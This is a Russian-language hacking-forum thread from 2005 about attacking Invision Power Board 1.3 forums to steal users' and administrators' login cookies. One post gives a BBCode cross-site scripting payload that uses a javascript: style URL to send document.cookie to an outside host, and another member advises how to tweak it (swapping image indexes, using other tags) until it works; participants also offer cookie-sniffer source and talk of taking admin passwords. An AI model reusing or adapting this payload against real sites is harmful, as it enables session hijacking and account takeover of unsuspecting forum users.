Форумы Вопросы по форуму Invision Power Board(U) v1.3 Final © 2003(р)

Discussion in 'Уязвимости CMS/форумов' started by FRTD, 17 Feb 2005.

  1. FRTD

    FRTD New Member

    Joined:
    12 Feb 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    (-=util=-)
    1)а свой сниффер я как намучу?
    2)а универсальных фишек нет,для большенства браузеров?Мне говорили,что видео идёт на всех,но у меня не выходило,напишите пажаласта полный код(например для форума www.vasyapup.com/forum)
     
  2. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    сейчас опубликую исходник снифера (готовый) в разделе

    Delphi, С/С++, C#, JavaScript
     
  3. FRTD

    FRTD New Member

    Joined:
    12 Feb 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Увидел,скачал.И у меня есть вопросы:
    1)Если я его на народ загружу он пахать будет?
    2)не грузится файл .htaccess.Он должен грузиться?
    3)зачем тама ссыла"СНИФЕР (картинка)".Нажимаешь,а картинку невозможно открыть...
    4)код красного цвета для IPB для всех версий?
    5)зачем 2.jpg?
    я мало в этом понимаю поэтому много вопросов...
     
    #43 FRTD, 12 Mar 2005
    Last edited: 12 Mar 2005
  4. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
  5. advlam

    advlam New Member

    Joined:
    11 Mar 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    пишу я в форуме 1.3.1, как указано в доке к сниферу -=util=-:
    Code:
    [color=[img]http://000.aa/=`image.jpg[/img]]` style=background:url(javascript:document.images[12].src="http://style-life.biz/onelinetoolz/sn/me.jpg?"+document.cookie) [/color]
    не проканывает, в форуме отображается как:
    Code:
    '>` style=background:url(javascript:document.images[12].src="http://style-life.biz/onelinetoolz/sn/me.jpg?"+document.cookie)
     
    #45 advlam, 12 Mar 2005
    Last edited: 12 Mar 2005
  6. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    1. Работает в IE и в большенстве форумов 100% работает в плоть до версий 2.0.Х.
    2. Если только админы не гении и сами незакрыли дыру. Незнаю патч есть или нет.
    3. Попробуй в др. форумах. Попробуй images[12]. заменить на images[0]. Попробуй [color= заменить на [video=
    и т.д........
     
  7. FRTD

    FRTD New Member

    Joined:
    12 Feb 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    (-=util=-)
    вощем мне не светит свой снифф поиметь:)
     
  8. chip

    chip Banned

    Joined:
    5 Mar 2005
    Messages:
    80
    Likes Received:
    0
    Reputations:
    0
    мля меня ташнит. =(
     
  9. hacsoft

    hacsoft Elder - Старейшина

    Joined:
    14 Mar 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    2
    Ну этого не достаточно. Еще бы надо, что бы админ был ламер. А то поймет и пасс поменяет :)
     
  10. hacsoft

    hacsoft Elder - Старейшина

    Joined:
    14 Mar 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    2
    А на этот счет я всегда так говорю: прежде чем что-то ломать, выучи необходимый минимум (хотя бы поверхностно): HTML, CSS, JavaScript, PHP, MySQL, можно Perl (не обязательно, признаю, я его сам не сильно знаю).
    А то только видео и подавай, что бы показать, куда нажать и сразу пасс получить.

    P.S. (оффтоп, простите). Случай: одим ламхакер хотел phpbb2 ломануть. Так вот он по видео с этого сайта и пробует. Прикол в том, что на том форуме первый пользователь не был админом (ну так получилось). Так он и голову ломал потом, почему ссылки нет на панель админа. Т.е. мозги вообще не шевелятся, не понимая даже почему тот метод взлома работает пытается его использовать по стандартному шаболону, а тут тебе рас и не шаблонная ситуация и крутой хакер превращается в судрожно бьющуюся рыбу на берегу (т.е. ламера)
     
  11. FRTD

    FRTD New Member

    Joined:
    12 Feb 2005
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    я ламер,но не думаю что до такого(надеюсь=))
     
Loading...